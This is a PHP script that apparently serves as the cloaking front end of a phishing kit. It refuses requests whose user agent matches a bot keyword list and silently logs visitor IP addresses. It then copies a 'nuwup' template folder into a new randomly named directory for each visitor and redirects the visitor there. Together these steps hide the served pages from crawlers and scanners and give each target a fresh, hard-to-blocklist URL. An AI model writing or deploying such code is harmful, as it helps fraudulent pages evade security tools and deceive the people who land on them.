<?php
// Load the bot keywords
$bots = include('bots.php');

// Get the user's IP address
function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

// Generate a random folder name
function generateRandomName($length = 30) {
    return substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length);
}

// Copy all files from one directory to another
function copyDirectory($source, $destination) {
    if (!is_dir($destination)) {
        mkdir($destination, 0755, true);
    }
    foreach (scandir($source) as $file) {
        if ($file === '.' || $file === '..') continue;
        $srcPath = $source . DIRECTORY_SEPARATOR . $file;
        $destPath = $destination . DIRECTORY_SEPARATOR . $file;
        if (is_dir($srcPath)) {
            copyDirectory($srcPath, $destPath);
        } else {
            copy($srcPath, $destPath);
        }
    }
}

// Get the user agent
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

// Check if user agent matches a bot keyword
foreach ($bots as $bot) {
    if (strpos($userAgent, strtolower($bot)) !== false) {
        // Block the request for bots
        http_response_code(403);
        exit('Access Denied');
    }
}

// If not a bot, log the IP
$visitorIP = getUserIP();
$logFile = 'visitors.txt';
file_put_contents($logFile, $visitorIP . PHP_EOL, FILE_APPEND);

// Create a folder for the visitor
$nuwupSource = 'nuwup'; // Source folder to copy from
if (!is_dir($nuwupSource)) {
    exit("Source folder 'nuwup' does not exist.");
}

$visitorFolderName = generateRandomName();
$visitorFolderPath = __DIR__ . DIRECTORY_SEPARATOR . $visitorFolderName;

// Copy all files from the nuwup directory to the new visitor folder
copyDirectory($nuwupSource, $visitorFolderPath);

// Ensure there's an index file in the new folder for navigation
$newIndexFile = $visitorFolderPath . DIRECTORY_SEPARATOR . 'index.php';
if (!file_exists($newIndexFile)) {
    $content = "<?php echo 'Welcome to your unique folder!'; ?>";
    file_put_contents($newIndexFile, $content);
}

// Redirect to the newly created folder
header("Location: $visitorFolderName/index.html");
exit();
?>
